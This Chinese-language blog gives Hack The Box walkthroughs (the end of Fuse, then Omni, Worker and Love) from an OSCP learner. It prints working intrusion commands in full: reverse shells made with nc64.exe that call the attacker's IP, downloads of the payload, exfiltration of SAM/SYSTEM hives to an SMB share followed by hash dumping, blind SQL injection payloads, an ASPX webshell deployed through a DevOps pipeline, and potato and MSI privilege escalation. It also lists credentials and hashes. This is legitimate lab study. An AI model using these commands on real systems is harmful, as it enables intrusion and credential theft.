下面这个是编译好的但很可惜我使用一直失败所以我打算自行编译

编译好的项目地址：~~https://github.com/umiterkol/EoPLoadDriver_Release/releases~~

源代码：https://github.com/TarlogicSecurity/EoPLoadDriver/

Ctrl + Alt + L 打开资源管理器

新建源文件就行

最上面有个头文件无关紧要删了就行然后切换release生成解决方案就完事了

果然自行编译的就没出问题了但是

可能是我的理解错了 svc-print目录是基于当前用户给的结果 SYSTEM还是没权限来看我打算放到公共目录

根目录test文件夹是可写的所以我打算放到里面

结束

这个靶场花了我非常多的时间评分只有3.5星可能主要是因为路上太曲折很多东西要重复而且还不是常规的但我觉得他值得一个5星这个靶场和Forest有异曲同工之妙

Forest主要是经典常规的域渗透我在学习完之后再去看Forest基本上都能理解但是这个靶场跟常规没有丝毫关系它更好的扩展了另一面比如smbpasswd远程改密码爆破的时候生成字典要多学一点参数域用户的密码一直被更改其实可以写bashshell来一直获取新密码但是我没有写在解决这三个问题时我花了太多太多时间我只能一步一步深入才能了解他背后的逻辑比如改密码我才知道他有定时任务一直在重置密码并且爆破非常慢所以我一般不喜欢爆破总归是不喜欢但是还是要经常使用爆破

提权部分是一个新的我之前没学过的他们写的博客是因为自己了解得很深所以直接用就行了导致我刚开始看完全是懵的不知道如何利用在提权利用这一块我整个人都有点发昏了从getshell到提权接收面太多尝试了非常非常多的操作所以我睡了一觉起来了之后再去尝试了解这个逻辑就非常清晰了

在后续Forest和Fuse这两个靶场我会当作复习来使用

到现在我想看看定时任务是怎么执行的同时看看其他人的wp

1

schtasks /query

第一个貌似就是重置密码的定时任务

1

schtasks /query /tn "Revert Password and Expiry" /fo LIST /v

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29


Folder: \
HostName: FUSE
TaskName: \Revert Password and Expiry
Next Run Time: 11/30/2024 7:44:00 PM
Status: Ready
Logon Mode: Interactive only
Last Run Time: 11/30/2024 7:43:00 PM
Last Result: 0
Author: N/A
Task To Run: powershell.exe -c Set-ADAccountPassword -Identity bnielson -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Fabricorp01" -Force); Get-ADUser -Identity bnielson | Set-ADUser -ChangePasswordAtLogon:$true; Set-ADAccountPassword -Identity tlavel -R
Start In: N/A
Comment: N/A
Scheduled Task State: Enabled
Idle Time: Disabled
Power Management: Stop On Battery Mode, No Start On Batteries
Run As User: FABRICORP\Administrator
Delete Task If Not Rescheduled: Disabled
Stop Task If Runs X Hours and X Mins: 72:00:00
Schedule: Scheduling data is not available in this format.
Schedule Type: One Time Only, Minute
Start Time: 12:00:00 AM
Start Date: 6/10/2020
End Date: N/A
Days: N/A
Months: N/A
Repeat: Every: 0 Hour(s), 1 Minute(s)
Repeat: Until: Time: None
Repeat: Until: Duration: Disabled
Repeat: Stop If Still Running: Disabled

每分钟执行一次将bnielson和tlavel的密码改成Fabricorp01 但是这个powershell的命令貌似不全

1

schtasks /query /tn "Revert Password and Expiry" /xml

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38


<?xml version="1.0" encoding="UTF-16"?>
<Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
 <RegistrationInfo>
 <URI>\Revert Password and Expiry</URI>
 </RegistrationInfo>
 <Principals>
 <Principal id="Author">
 <UserId>S-1-5-21-2633719317-1471316042-3957863514-500</UserId>
 <LogonType>InteractiveToken</LogonType>
 </Principal>
 </Principals>
 <Settings>
 <DisallowStartIfOnBatteries>true</DisallowStartIfOnBatteries>
 <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
 <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
 <IdleSettings>
 <Duration>PT10M</Duration>
 <WaitTimeout>PT1H</WaitTimeout>
 <StopOnIdleEnd>true</StopOnIdleEnd>
 <RestartOnIdle>false</RestartOnIdle>
 </IdleSettings>
 </Settings>
 <Triggers>
 <TimeTrigger>
 <StartBoundary>2020-06-10T00:00:00</StartBoundary>
 <Repetition>
 <Interval>PT1M</Interval>
 </Repetition>
 </TimeTrigger>
 </Triggers>
 <Actions Context="Author">
 <Exec>
 <Command>powershell.exe</Command>
 <Arguments>-c Set-ADAccountPassword -Identity bnielson -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Fabricorp01" -Force); Get-ADUser -Identity bnielson | Set-ADUser -Ch
angePasswordAtLogon:$true; Set-ADAccountPassword -Identity tlavel -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Fabricorp01" -Force); Get-ADUser -Identity tlavel | Set-ADUser -ChangePasswordAtLogon:$true; Set-ADAccountPassword -Identity bhult -Reset -NewPassword (ConvertTo-SecureString -AsPlainText "Fabricorp01" -Force); Get-ADUser -Identity bhult | Set-ADUser -ChangePasswordAtLogon:$true;</Arguments>
 </Exec>
 </Actions>
</Task>

这个就很全了将密码重置并且Set-ADUser -ChangePasswordAtLogon:$true

所以在登陆的时候一直提示需要更改密码然后再看看其他人的wp的整体思路

怪不得密码一直恢复初心是好的

我看了很多wp基本操作都一样只有这个人将获取密码做成了自动化然后在最下面执行自己想要执行的命令

16.Omni

信息收集：

rpc空密码

1
2


rpcclient -U "" -N 10.10.10.204
Cannot connect to server. Error was NT_STATUS_IO_TIMEOUT

5985 winrm 没有账密也不行而且一般是getshell用的

8080端口需要认证我打算看一下是什么框架然后爆破目录

有个临时重定向

没有什么东西但是我在这个页面的源码里面找到一个css文件

http://10.10.10.204:8080/css/common.css

但是都没有什么东西

https://serverfault.com/questions/52199/security-risk-microsoft-httpapi-2-0

这个博客提示了后端可能存在一个sqlserver的web程序但是并没有任何相似的地方所以说可能并不是

1
2
3
4
5


HTTP/1.1 401 Unauthorized
Server: Microsoft-HTTPAPI/2.0
WWW-Authenticate: Basic realm="Windows Device Portal"
Date: Sun, 01 Dec 2024 20:32:22 GMT
Content-Length: 0

根据回包我发现这个应用程序是 Windows Device Portal 但并没有什么东西我卡了又有点久

貌似这确实没啥东西我尝试看29817 29819 29820这几个端口

nmap的结果跟我信息收集时一样没有太多什么东西有意思的是有两个端口有回复

但是我并不知道这几个都是啥东西只能google看看默认了

随着搜索的深入我找到了exp

https://github.com/SafeBreach-Labs/SirepRAT

而且非常方便

没问题是能使用的

这里我研究了非常久因为我用msfvenom生成的shell 能写进去但是执行就是不会反弹我一直以为我写入错了但好像就是无法反弹

下面这个命令告诉我了有个目录

1
2
3
4
5


python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\cmd.exe" --args " /c echo {{userprofile}}"

<HResultResult | type: 1, payload length: 4, HResult: 0x0>
<OutputStreamResult | type: 11, payload length: 30, payload peek: 'b'C:\\Data\\Users\\DefaultAccount\r\n''>
<ErrorStreamResult | type: 12, payload length: 4, payload peek: 'b'\x00\x00\x00\x00''>

而 C:\Data\Users\DefaultAccount这个目录是可写的我传了很多进去用dir来看都是没问题的

1

python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" --args " dir C:\\Data\\Users\\DefaultAccount\\" --v

但就是执行失败 powershell的一些payload我都打了都不行可以看到上面有个nc64.exe 只有这个可以

1
2


python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --cmd "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" --args " iwr http://10.10.16.2:33333/ncexe/nc64.exe -OutFile C:\\Data\\Users\\DefaultAccount\nc64.exe"
python SirepRAT.py 10.10.10.204 LaunchCommandWithOutput --return_output --as_logged_on_user --cmd "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" --args " C:\\Data\\Users\\DefaultAccount\\nc64.exe 10.10.16.2 6666 -e C:\Windows\System32\cmd.exe" --v

上面这两个命令可以很好的解决我的问题

终于拿到shell了 Users里面没有任何flag

奇怪的是这里面貌似啥都没有像是在容器？或者虚拟机里面反正就是一个隔离的环境

也就是目前我是物理机而里面这个data目录才是虚拟机？

我几乎翻了所有目录基本上只有几个应用程序但貌似都是默认的应用程序我开始打算去吧SAM弄出来看看有没有密码因为这里的SAM文件貌似没有被占用？我直接type就能访问所以直接copy就行

1
2
3
4


smbserver.py kali . -smb2support
C:\Data\Windows\System32\config>copy .\SAM \\10.10.16.2\kali\SAM
C:\Data\Windows\System32\config>copy .\SYSTEM \\10.10.16.2\kali\SYSTEM
C:\Data\Windows\System32\config>copy .\SECURITY \\10.10.16.2\kali\SECURITY

https://blog.csdn.net/feigerger/article/details/131603338

可惜不行到这里已经是死路了我把data文件夹里的所有文件基本上都看了没见过的也google看看是什么服务都没有东西我开始看本地的目录有个PhoneProvisioner_OEM但是没什么东西

我在这里找到了密码是一个隐藏文件

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18


C:\Program Files\WindowsPowerShell\Modules\PackageManagement\r.bat

@echo off

:LOOP

for /F "skip=6" %%i in ('net localgroup "administrators"') do net localgroup "administrators" %%i /delete

net user app mesh5143
net user administrator _1nt3rn37ofTh1nGz

ping -n 3 127.0.0.1

cls

GOTO :LOOP

:EXIT

好在这个密码在80端口验证成功了

我在网上并没有找到什么利用方式

我仔细看了之后发现貌似就是将这台win10上的所有信息全拿到这来了我验证的时候我确定那个密码就是administrator在计算机上的密码并不是一个虚拟的除此之外我还收获了一个wifi的密码在拿到wifi密码之后我打算传lazagne.exe去看本地存储的密码

还是再搜搜隐藏文件把依然没任何发现我尝试了很多很多方式但结果都告诉我不是这一条路我不清楚我哪一步出现了问题但至少现在看来我已经卡死了我只能去wp了解

我看完了路径在获得管理员密码上我的方法确实没有问题就是需要一直翻文件这个人列出了三种方法

第一种他提取的是注册表里的SAM和SYSTEM 而我提取的是本地文件所以啥都没有

第二种在创建管理员用户的时候会被清除而清除的脚本就是上面那个r.bat

第三种就是找到r.bat 然后读取密码前两种的密码都是HTLM加密的需要解密

登录8080端口这个WEB 没有任何问题问题就是在我没仔细去找里面的应用只看出来他貌似是web化的资源管理应用我太依赖google了 google没有给RCE的结果就以为可能是个坑我翻的有遗漏

所以这里windows在这个WDP上连接了刚刚那个本地的设备我需要在WDP上get到那个设备的shell

找到了命令执行的地方

1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\\Data\\Users\\DefaultAccount\\nc64.exe 10.10.16.14 7777 -e C:\Windows\System32\cmd.exe

我完全看不出来权限有哪里不一样但他就是能进

老shell

新shell

data目录下的所有东西都能访问了

和root.txt一样都加密了

在查看了大量博客之后我开始尝试解密

对我帮助最大的博客：https://stackoverflow.com/questions/63639876/powershell-password-decrypt

一开始一直遇到的是上面的问题后面才发现已经读取出来的只是我显示的方式有问题我读完了上面的博客

一开始我一直读取的结果跟他这个命令行一模一样但是下面他提到了一个接口这个才是关键所以用下面的这个就行了

1
2


$creds = Import-Clixml -Path C:\data\users\administrator\root.txt
$creds.GetNetworkCredential().password

目前利用的前提是需要是创建这个加密内容的用户权限如果app文件夹里的user.txt是administrator创建的那么我当前就能解开但很可惜我调用的时候会报错无法解开这时候需要dpapi才能解开 dpapi的作用就是跨用户跨计算机来使用密码所以可以拿到那个密钥来尝试解密比如说我是administrator所以能进行解密root.txt 但是当我解密app里面的user.txt他就会报错因为我不是app用户

所以现在需要app用户的凭证其实我早该使用下面这个方法的也算是个常规方法了

1
2
3
4
5
6
7


reg save HKLM\SYSTEM system.hiv
reg save HKLM\SAM sam.hiv

smbserver.py kali . -smb2support

copy .\sam.hiv \\10.10.16.14\kali\sam.hiv
copy .\system.hiv \\10.10.16.14\kali\system.hiv

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13


python D:\python3.9\Scripts\secretsdump.py -sam sam.hiv -system system.hiv LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Target system bootKey: 0x4a96b0f404fd37b862c07c2aa37853a5
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:a01f16a7fa376962dbeb29a764a06f00:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:330fe4fd406f9d0180d67adb0b0dfa65:::
sshd:1000:aad3b435b51404eeaad3b435b51404ee:91ad590862916cdfd922475caed3acea:::
DevToolsUser:1002:aad3b435b51404eeaad3b435b51404ee:1b9ce6c5783785717e9bbb75ba5f9958:::
app:1003:aad3b435b51404eeaad3b435b51404ee:e3cb0651718ee9b4faffe19a51faff95:::
[*] Cleaning up...

1

app:mesh5143

尝试runas貌似切换不了用户而且虽然目标开着5985端口我也用不了evil-winrm

但是用了也没效果因为这两个环境貌似并不是一样的还是需要通过8080的web服务才能进到那个nfs挂载目录中这个环境是怎么实现的我还是没有理解一个USB或者远程服务？data那个窗口还是挂载上来的等结束了好好了解一下

1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe iwr http://10.10.16.14:33333/ncexe/nc64.exe -OutFile .\nc64.exe

重新传个nc到app目录之前那个app没权限访问到

1

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\\Data\\Users\\app\\nc64.exe 10.10.16.14 8888 -e C:\Windows\System32\cmd.exe

获取flag

1
2


$creds = Import-Clixml -Path C:\Data\Users\app\user.txt
$creds.GetNetworkCredential().password

结束

但是还有几个问题没解决

第一个：我记得在解密的时候导入那个用户的凭据貌似也能直接解密不需要切换用户

第二个：切换用户我只了解到了runas google上面也只有这一种方法看看有没有其他方法能更方便

第三个：这个环境到底是啥样的

从第一个开始来 google很久都没结果我选择问claude

第二个

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


psexec -u app -p password powershell

$username = "app"
$password = ConvertTo-SecureString "password" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential($username, $password)
# 方式1: Invoke-Command
Invoke-Command -ScriptBlock { 要执行的命令 } -Credential $cred

# 方式2: Start-Process
Start-Process powershell -Credential $cred -ArgumentList "要执行的命令"

第三个

不得不说确实niu

至此逻辑非常清晰了

1
2
3
4
5


iot core是管理层，控制对usb设备也就是data目录的访问
8080是iot core的管理接口 也就是之前说的那个Windows Device Portal
28080端口运行着主程序
通过8080端口的web解密获得凭据 才能对data目录操作
攻击者-->8080管理接口-->usb设备-->data目录

不得不说这个靶场很有特点就是windows特有的服务扩展很好

17.Worker

getshell部分卡住了仅作练习使用

信息收集：

80端口啥都没有后台挂个爆破把

3690是一个svnserve服务

https://book.hacktricks.xyz/network-services-pentesting/3690-pentesting-subversion-svn-server

这个网址里面有针对svnserve的payload 他也是这个靶场

1
2
3
4


svn ls svn://10.10.10.203 #list
svn log svn://10.10.10.203 #Commit history
svn checkout svn://10.10.10.203 #Download the repository
svn up -r 2 #Go to revision 2 inside the checkout folder

将域名加到了hosts

拿到了源码但是他是纯前端页面估计就是给了一个提示在http://dimension.worker.htb/#work 我看到了很多子域名

点开加到hosts里同时接着爆破子域名

我加入hosts里面的好像都是纯前端页面都是来自http://html5up.net/ 针对这几个域名JSFinder.py也没给我结果

1

wfuzz -c -w /usr/share/wordlists/SecLists-master/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://10.10.10.203 -H "Host: FUZZ.worker.htb" --hh 703

看来还是要爆破但是我一般不喜欢爆破很卡

先用cewl生成完所有域名的字典然后看一下请求包

HTLM协议的貌似有点麻烦但是右边给出了其他两种协议貌似可以用他们进行认证我google了一下

https://learn.microsoft.com/en-us/aspnet/web-api/overview/security/basic-authentication

所以说是可以用Basic构造的

如果说用户名和密码都用这个字典加起来得1800*1800 太大了所以我打算去找几个用户名

所以这个框架是 Azure DevOps Server 我打算根据这个去找用户名

除此之外 ffuf还在运行他又给了我一个结果

当然也是啥也没有我开始爆破这个Azure DevOps Server 我没搜到默认用户名所以我放入了几个简单的用户名

其次我尝试爆破这个服务的目录然后同时记住svnserve 我现在还不是特别清楚这个是干啥的之前使用的都是exploit给的命令他可以查看默认页面的源码如果可以查看devops.worker.htb的源码那我感觉离目标就非常近了

我没有仔细阅读在重新看svnserve的时候这里其实他提到了

这个纯前端的源码我不知道这个有啥用在我仔细看了下命令的时候我貌似发现了盲点

1
2
3
4


svn ls svn://10.10.10.203 #list
svn log svn://10.10.10.203 #Commit history
svn checkout svn://10.10.10.203 #Download the repository
svn up -r 2 #Go to revision 2 inside the checkout folder

目前搜到的相关信息少之又少我的理解的svn库类似于github上的它可以提交更新很多次而我也可以获得这几次更新的结果重新更新我的本地代码库至少根据我操作的结果是这样的

1

svn log svn://10.10.10.203

后面有个r1-r5 而下面这个命令我去搜了下

1

svn up -r 2

他其实是update的缩写就是将目标选定的版本更新到本地

我刚刚下载的是第一个版本我开始更新2345 来看看有什么不同

moved.txt 被delete掉了新增了一个deploy.ps1

这里我看明白了跟上一个靶场一样 powershell加密了密码

所以原文密码还是

1

nathen:wendel98

可惜的是winrm和devops.worker.htb都无法验证这个密码

我切换到了第3个更新

他只是把密码删了而已毕竟要开源

第4个更新

直接给deploy.ps1删了

第5个更新

看到这里关键点就是第2个更新那里有密码但我并不清楚我为什么一直验证失败

没错密码是有问题的再上一个靶场了解powershell加密的时候原文就是原文他加密的目的也是为了后续更好调用我拿原文应该是没问题的才对但是这里80端口winrm都告诉我鉴权失败

powershell是我的弱项我开始尝试读懂那个powershell干了什么事

在这里我了解到了 pwd他进行了简单的加密然后传递给了Credential 然后利用这个凭证去执行了

1
2
3
4
5
6
7


Start-Process powershell.exe -Credential $Credential -ArgumentList ("-file $args")
Start-Process 开始新进程执行后面的命令
powershell.exe -Credential $Credential 调用上面的凭证
ArgumentList 传参

所以最终命令如下
powershell.exe -file Copy-Site.ps1

-file 就是将Copy-Site.ps1传入然后执行那就豁然开朗了所以目前要拿到密码需要执行

1
2
3


$user = "nathen"
$plain = "wendel98"
$pwd = ($plain | ConvertTo-SecureString)

在我开始研究这个ps1的逻辑之前我在宿主机win11上执行了但是报错我就没管他了现在我要重新看看这个

这个加密逻辑我这个运行不了我找到了另一种方法 https://stackoverflow.com/questions/28352141/convert-a-secure-string-to-plain-text 但是结果如下

加密就只是为了创建凭证没有其他作用他的密码就是那个至少我获得了一个账户我尝试对这个账户进行爆破因为我还有个字典

我打算bupsuite和crackmapexec同时爆破

然后接着爆破这个网站的目录爆破出了一个/bin目录为404 其他没东西

然后winrm和80的爆破也都没用这里还有机会这个密码wendel98后面有数字可以再根据这个密码再生成新密码

1

crunch 8 8 -t wendel%% > new_password.txt

这个字典也不行我以为这个靶场不用看wp了还是卡住了

没想到我卡在这里

新开了一个google终于进来了因为firefox不知道为啥也不能登录

azure devops在网上都没有漏洞这里可能要把源码下载下来在里面拿信息？因为他就是一个纯前端页面没有啥信息能拿到

这里有个文件有点意思但是打开为空我尝试去看他的history

还是没什么我目前能想到的就是上传上去的文件能正常被解析实际上并不行比如我想解析当前这个index.html 都不行我将项目拉到本地打开之后也没什么我没有一个好的想法于是尝试google

可惜的是我并没有找到任何利用方法我开始转变思路如果说azure devops能部署aspx或者asp都可以能部署的话也能getshell

我找到了微软的官方博客他的意思就是我部署完了用这个管理是没问题的无法在azure devops 这上面部署

我开始看wp 看了下一步之后我还是无法理解它是如何部署上去的毕竟刚接触这个东西

所以以下仅作学习使用因为这东西超过我理解的范畴了在之前我都是根据应用程序找RCE流程快速的了解这个程序然后RCE 但是这里并没有这种而是教我去部署跟上个靶场一模一样都是从新学习而这种应用都是特有的这是必须要学的也是困难的后续我将结合claude和其他人的wp来学习这个东西直到完全理解下面会写上我的笔记

https://www.youtube.com/watch?v=scEDHsr3APg

这个视频讲清楚了DevOps CI/CD 的工作原理

https://www.redhat.com/zh/topics/devops/what-is-ci-cd

这个稍微更详细一点

CI的意思就是当我对某个应用更改然后合并之后它就会自动部署就相当于我在刚刚的azure devops里

这里不是有很多项目吗在爆破子域名的时候已经发现了而在pipelines处

能清楚的看到部署的配置文件这个配置文件定义了这个项目该如何发布可以看到他的目标目录为 w:\sites\仓管名称.worker.htb 而这个项目仓库名为alpha

什么又是CD呢就是一个自动化的交付部署 CI说了它会自动合并项目有点像github里的push 当push到主分支的时候他会自动检查哪里加了哪里少了区别在于这里是自动化 CD在CI自动化之后会自动化部署上来也就是我们看到的网站

当你提交新的代码或修改时
Pipeline 会自动执行
CopyFiles 任务会将文件复制到对应目录
IIS 服务器会自动识别这个目录作为一个新的网站

至此思路理论部分清晰了

1.创建新项目

2.创建代码仓库，初始化仓库或者导入现有代码

3.创建Pipeline 选择代码来源就是刚刚的仓库就行选择 “Starter pipeline” 或已有模板

4.配置Pipeline yaml 也就是上面看到的配置文件

5.保存Pipeline设置 Run Pipeline进行第一次部署

6.至此之后每一次向master或者main推送分支的时候 Pipeline都会自动运行并部署网站

这个也有点像github的actions 参考的博客如下

https://www.ruanyifeng.com/blog/2019/09/getting-started-with-github-actions.html

原理了解了之后该尝试实操了 git命令我本身不是很熟悉在之前尝试push过很多次项目虽然后续成功了但仍然不太熟练这些命令这可以靠这个靶场来学习

我目前的想法是用一次命令的一次web页面GUI操作的

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19


# git 我将alpha项目clone到本地 加上一个文件 再push上去 应该就可以了
git clone http://devops.worker.htb/ekenas/SmartHotel360/_git/alpha

# Cloning into 'alpha'...
# Username for 'http://devops.worker.htb': nathen
# Password for 'http://nathen@devops.worker.htb':
# remote: Azure Repos
# remote: Found 54 objects to send. (51 ms)
# Unpacking objects: 100% (54/54), 1.47 MiB | 178.00 KiB/s, done.

# 这次我不打算使用msfvenom生成shell 而是结合其他人看看他们的方法
# https://github.com/borjmz/aspx-reverse-shell?ref=secjuice.com 我打算用这个
# 在alpha项目放入了shell.aspx
# 提交新文件到git
git add shell.aspx
# 提交更改
git commit -m "add shell.aspx"
# 推送过去
git push origin main

报错了提示我没有权限去push到master 这是一个常见的安全措施后续通过其他人的操作我也了解到了一个机制

pull request

至此攻击链完善了我无法直接push到master并利用pipeline发布部署项目我需要新建分支然后利用pull requests机制请求合并到master 当master中出现我创建的shell.aspx的时候就可以自动化发布了

1
2
3
4


# 在本地新建分支
git checkout -b branch2
# push的时候新建分支并push过去
git push --set-upstream origin branch2

已经存在了这里我本来想用命令行走完全程我去搜了关于pull request的命令方法但是并没有这样的命令后续只能靠web页面也实现也方便

直接create就行

这里我们需要添加一个审核人和工作项

加上自己为审核人再加一个工作项就行

点击 complete merge之后他会进行合并

合并完成之后可以看到创建的shell.aspx已经传上去了

能访问现在尝试web页面创建分支(这个创建分支简单太多了就不写出来了)

最终拿到了shell

开始提权

可以用烂土豆提权了

尝试了几个只有这个可以 public目录是可写的所以我的操作都在public目录

https://github.com/bugch3ck/SharpEfsPotato

1

SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a " whoami | Set-Content C:\Users\Public\w.log"

没问题尝试反弹shell

1

SharpEfsPotato.exe -p C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe -a " C:\Users\Public\nc64.exe 10.10.16.14 7777 -e C:\Windows\System32\cmd.exe"

结束

这个靶场很有意思让我学习到了更多的git操作之前在github上自己操作上传东西只了解到了一点东西而这个靶场扩展出来让我了解了 svn azure devops git操作扩展方面做的非常好只是我在打靶期间还是看了两次wp 第一次登陆不上去第二次不清楚这个到底是啥完全是懵的状态完完全全看了wp 并且寻求了ai的帮助这在oscp考试中是不允许的我不确定我在考试中会不会像这样遇到我完全没了解过的应用但我能做的就是在遇到这个之后我通过wp google ai 来完完全全的了解了他的逻辑但是我还是需要训练我在第一次遇到一个应用时快速去学习并去了解他在omni和worker靶场之前都有专门的RCE的流程有很多人都发布了针对某个应用的RCE流程但是最近这两个 omni和worker并没有这样他就是一个正常服务我无法根据在应用名称后面加上exp RCE getshell等等词汇来获取我想了解的东西

值得一提的是像IIS和MSSQL这种权限貌似都有SeImpersonatePrivilege权限所以看到这两个用户时可以第一时间去找whoami /priv 然后烂土豆提权

18.Love

信息收集：

smb

rpc

mysql

就算有密码也连不上

80端口登陆界面

443端口403可能走的时80的认证在去访问

http://10.10.10.239/admin/index.php

http://10.10.10.239/index.php

这个两个页面的接口不一样主页要的是ID 而admin里的要的是username

目录穿越漏洞

框架信息如上

貌似并不存在

这个web用的也不是某个框架搭建的所以我只能找它存在的某个组件的漏洞

这是一个投票系统我基本上能确定在user登录那里肯定存在弱口令他要的是编号我并不清楚编号的逻辑是什么但我能确定一个投票系统人肯定很多密码弱口令是存在的但是编号起点我并不知道我开始尝试最简单的组合 id从1-10000 密码 password Password 123456 admin123 来尝试爆破

xampp 绝对路径是有了

还真有exp 但是他要账号和密码

靶场21年5月1号发布的而这个exp是1月19号发布的所以没问题但是这个exp没有给我太多信息如果能进后台其实我也能找rce的方法的

这个EXP给了目标的源码果然是一样的我将源码下载了下来

https://www.sourcecodester.com/download-code?nid=12306&title=Voting+System+using+PHP%2FMySQLi+with+Source+Code

我不相信的是它可能是要我自己挖漏洞

这个sql注入的漏洞也太明显了网上是搜不到相关的exp 但是看源码就豁然开朗了

不出意外admin的login也是这样

密码这里没办法我不能直接绕过登录所以这里只能用注入拿信息为了验证这里是否存在漏洞就是是否跟源码一样存在漏洞而不是被修复了我进行了验证

输入1为用户名它提示找不到这个用户

输入1’ or 1=1#的时候它提示

密码错误这里在我看来有三条路

第一条是盲注但是都知道盲注很浪费时间他的回显都是写死了的所以只能盲注但是缺点就是非常慢优点就是我已经直到后台有RCE的洞了拿到账户去后台RCE

第二条也是我想走的一条路直接查询权限如果说root或者其他有创建用户权限或者是管理员权限的话就在创建一个允许远程访问的用户就行

第三条直接写shell 绝对路径我已经有了再去查一下有没有写入的权限就行

第二条兼顾第一条也兼顾第三条所以我打算看看能不能创建用户

localtion会直接重定向但是当我访问这个接口的时候他会完完全全的查询出来而不会导致延时注入失效

很快我还是发现了一个问题

当返回值为空的时候就是会报错其实这也没什么因为上面已经执行了这里我只能走第一条路了现在这种情况盲注拿到账号和密码比其他这几种方法简单多了而且我已经有了一个后台RCE 而目前要确定账号是否正确

他的验证逻辑也有很意思这个接口处如果我的密码错了它会将我的session记录数据库中

然后我再携带这个session去访问index.php的时候

就会有回显了用户名可以用这个注入密码就不行了如果说我知道任何一个密码那么我也可以登陆成功比如我在投票者的登陆页面试了一个密码就进来了

poc在结尾

库名

第一个username长度为5

没有第二个username

账号就不用爆破了已经测出来是admin了

’ AND (SELECT 2487 FROM (SELECT(SLEEP(IF(LENGTH((SELECT username FROM admin))=5,5,0))))WYpt) AND ‘hBVQ’=‘hBVQ

但是我依然把这个写到了脚本里

结构在源码里都有但是我想验证一下

’ AND (SELECT 2487 FROM (SELECT(SLEEP(IF(LENGTH((SELECT password FROM admin WHERE username=“admin”))=60,5,0))))WYpt) AND ‘hBVQ’=‘hBVQ

60个字符其实这个在源码里也有就是再验证一下

爆密码太花时间了这里省略一段时间

运行到这里直接报错了在我漫长的等待期间我尝试去看我这一步是否正确但实际上没有人和我的路一样

就算我拿到了密码加密后的也需要去撞才行而rockyou里没有这个密码一直爆破导致我跟靶机的连接也很卡 poc还是放到最后把

其他的方法getshell的方法也是我看到wp才了解到的而这个非常方便

看证书算是一个常规的思路了而我当时没有去查看证书算是一个重大失误了这里有个域名加到hosts里

这里有个demo

SSRF 可以考这个请求本地的服务看看有没有上面开着的

在http:127.0.0.1:5000找到了密码

进入了后台根据之前RCE的教程直接去找/voters_add.php接口

新建传上去文件就行了文件名不变

我用nc把shell弹回来了

开始提权

systeminfo whoami/priv 没有东西

winPEASany有几个有意思的至少红色部分我都该注意

源文件貌似不在了

没什么用我还找不到它

经过认证的用户可以在c盘根目录创建目录和写入文件

c:\administration也是一样的

https://developer.aliyun.com/article/1227455

这个博客关于这个漏洞验证部分可以参考

1

powershell -exec bypass "import-module .\powerup.ps1;Get-RegistryAlwaysInstallElevated"

https://github.com/xiaoy-sec/Pentest_Note/blob/master/wiki/%E6%9D%83%E9%99%90%E6%8F%90%E5%8D%87/Windows%E6%8F%90%E6%9D%83/AlwaysInstallElevated%E6%8F%90%E6%9D%83.md

https://3gstudent.github.io/%E5%88%A9%E7%94%A8AlwaysInstallElevated%E6%8F%90%E6%9D%83%E7%9A%84%E6%B5%8B%E8%AF%95%E5%88%86%E6%9E%90

这两个博客适合后续先生成恶意msi

1

msfvenom -p windows/adduser USER=msi PASS=Pass@123 -f msi -o ./add.msi

传到靶机上

1

msiexec.exe /quiet /qn /i add.msi

1

evil-winrm -i 10.10.10.239 -u msi -p Pass@123

结束

提权部分还是很方便的基本都是关于介绍这个漏洞的博客多看几个就了解原理了在getshell部分我忘了关键的一步 https他是有证书的证书上面可能有域名那个域名可能就是突破口不过 sql注入也是没问题的我在sql注入上卡了很久最后跑60位的密码的时候太慢了我看了wp的下一步才发现我完全错了我拿到了密码我尝试在rockyou里找相同但是rockyou里面没有那个密码也就是就算我把60位跑出来了我再进行暴力破解明文也不行 sql注入那里的数据库权限大概率为root 我只判断了第一位是否为r就没管了我尝试再添加一个用户到数据库中但是并不行在我进行sql注入的时候卡了很久我在这里构造的payload都是基于别人发出来的构造的我自己构造的完全没用

类似于上面这个我把他的payload搞下来发现能延时再根据他的改的才是我的poc里用的我自己尝试的都不行延时之后构造poc也花了很多时间跑的时候也花时间社区版的burpsuite暴力破解卡的很没有多线程而且尝试拼接其他很多命令也都不行回包会报错

在源码里它是先执行了sql语句才报错的按理来说sql语句应该执行了才对

但结果就是没有执行成功

frp搭建隧道将靶机的3306搭建到本地6000
